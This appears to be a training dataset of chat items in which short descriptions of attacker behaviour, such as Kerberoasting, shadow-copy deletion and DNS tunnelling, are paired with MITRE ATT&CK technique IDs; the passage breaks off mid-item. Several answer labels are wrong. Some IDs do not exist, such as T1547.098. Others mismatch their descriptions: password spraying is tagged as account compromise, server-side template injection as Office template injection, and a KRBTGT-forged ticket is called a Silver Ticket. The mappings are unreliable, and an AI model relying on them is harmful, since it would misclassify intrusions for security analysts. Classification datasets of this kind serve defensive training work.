        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool runs \"service --status-all\" to display the status of all init services on a Unix server."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the 'net use' command with stolen credentials to map network drives."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a script to enumerate stored Wi‑Fi passwords from the system's credential store."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in an Excel spreadsheet spawns a PowerShell process that downloads additional tools."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a vulnerable API endpoint, the attacker injects HTML that replaces the site’s logo with a defacement image."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool searches for and downloads files from shared drives across the enterprise network."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates service principals, obtains Kerberos service tickets, and performs offline bruteforcing of the ticket hashes to gain access to privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a custom script to extract cached domain credentials from LSASS for authentication spoofing."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses the Windows Credential Editor to extract and reuse credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a phishing email to harvest a developer's access token and then performs a bulk clone of all repositories in the target's GitHub Enterprise instance."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group deletes all volume shadow copies using vssadmin.exe to thwart forensic recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign involved modifying security tool configuration to whitelist malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell's \"-EncodedCommand\" flag, the attacker runs base64‑encoded scripts to hide the command content from logs."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script queries the WMI class Win32_Service to enumerate services on remote computers."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Control Panel executable (control.exe) as a proxy to execute a hidden PowerShell script, bypassing normal application controls."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses stolen SSH credentials to log into a remote Linux server and execute a PowerShell command to dump password hashes."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant was installed as \"Microsoft Office Setup.exe\" in the Program Files directory, using a trusted Microsoft installer name to trick users and security tools."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the “forward to” feature in Microsoft 365 to silently send copies of all emails to an attacker-controlled mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a ransomware campaign, attackers obtained a service account token and used it to send DeleteInstance requests to the victim's Kubernetes nodes, shutting down the cluster."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the .lnk file of a frequently used application to execute a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1547.098 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a hidden window created with the \"WS_EX_NOACTIVATE\" flag to remain unnoticed on the desktop."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By stealing a valid Kerberos service ticket from a victim’s session, the adversary presents the ticket to a server to authenticate as the legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses UEFI firmware interrogation via the Windows Management Instrumentation (WMI) interface to enumerate firmware details."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate private keys and certificates from a compromised certification authority to create forged signatures for malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses DNS records with a very short TTL, causing the domain to point to different compromised hosts over time."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script searches the registry for stored Outlook credential entries and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware steals SSH private keys from a user's .ssh directory and uses them to log into target servers."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script reads \"/proc/self/cgroup\" to detect if it is running inside a Docker container and retrieve its ID."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating AD trust attributes, the attacker enables credential delegation to an external system."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised third‑party transport agent on a mail server used to deliver malware attachments to recipients."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a new Salesforce user with system administrator profile to control CRM data."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor abuses the \"SeImpersonatePrivilege\" to impersonate a privileged account and execute commands as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code abuses a known vulnerability in a system component to overload the CPU and freeze the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker searches the victim's home directory for .bash_history files and extracts plaintext passwords stored there."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages public exploit databases to identify known vulnerabilities in the target's software stack."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit encrypted channel techniques to mask data exfiltration during peak hours."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising a privileged host, the intruder creates a fake domain controller that synchronizes with the real AD, enabling credential dumping and lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the native API function ZwOpenProcess to obtain a handle to another process for further actions."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses systemctl to enable a rogue service that spawns a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the KeepAlive settings of a legitimate launch daemon to repeatedly spawn a malicious process."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware disables system restore points, then proceeds to encrypt system files and user documents, displaying a ransom note on the desktop."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware fragments data and encodes each fragment with a custom alphanumeric scheme before transmitting via ICMP."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts stored Wi‑Fi passwords from the Windows registry and sends them to a C2 address."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary tampers with the digital signature of a client application, enabling the distribution of a compromised binary."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor base64‑encodes the PowerShell commands before sending them to the victim host."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise the boot firmware to bypass security controls and maintain stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valid accounts used to gain initial access"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining OCI (Oracle Cloud) API keys, the intruder instantiated a compute instance to stage further attacks."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ DNS query and response traffic to issue commands to backdoor implants, avoiding typical firewall detection."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups spin up containers in a rarely accessed GCP region to conduct reconnaissance without alerting defenders."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host sends DNS queries for common internal hostnames (e.g., \\\"dc\\\", \\\"router\\\") to discover key assets."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder ran cloud-specific API calls via the OCI CLI to disable logging and hide their activities in the Oracle Cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a server-side template engine by injecting malicious template directives into user-controllable fields, causing the system to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a Kerberos service ticket for the SMB service using the KRBTGT hash, bypassing domain controller authentication."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses the Windows Management Instrumentation (WMI) service to execute remote commands."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses a reflective loader to map a PE file directly into process memory, bypassing the Windows loader."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used password spraying against the corporate Exchange server, attempting common passwords to gain unauthorized access to multiple email accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged the ADMIN$ share to upload a PowerShell payload to the target host and then executed it remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit leverages the kernel's clock_gettime function to harvest the system's wall-clock time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro reads the Firefox password store file and extracts saved website credentials."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers leveraged a compromised OCSP responder to obtain a valid certificate status and reuse the certificate for malicious code."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set employs hex encoding of command output before transmitting it over a DNS tunnel."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged a publicly accessible proxy service to relay malicious traffic, effectively using an external proxy to mask their IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a flood of ICMP echo request packets to a Windows workstation, overwhelming its network stack and causing it to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accesses a threat‑intel feed to collect indicators of compromise that are specific to the victim's industry sector."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider leverages the cloud provider's CLI to remove a Kubernetes node pool."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gathered information about the target’s internal software stack by analyzing error messages on public pages."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware steals session cookies saved in the victim's browser cache and presents them to the server to authenticate as the user."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware crafts SMB packets that mimic legitimate file sharing traffic to hide its data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary adds a hidden local user with administrator privileges using net user commands."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary takes advantage of an insecure serverless API endpoint in Google Cloud Run to execute remote code on demand."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor manipulates system policies to prevent activation of crypto co-processors, forcing applications to use less secure software encryption."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary updates a legitimate extension with hidden code that creates a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts an email containing an OLE object in a .docx file which triggers a malicious PowerShell script upon opening."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes the \"nltest /domain_trusts\" command to retrieve a comprehensive view of all domain trusts and their trust levels."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised system executes a PowerShell command to retrieve details about all attached hardware devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves flashing a rogue version of the device's firmware to gain early execution privileges at boot time."
            },
            {
                "role": "assistant",
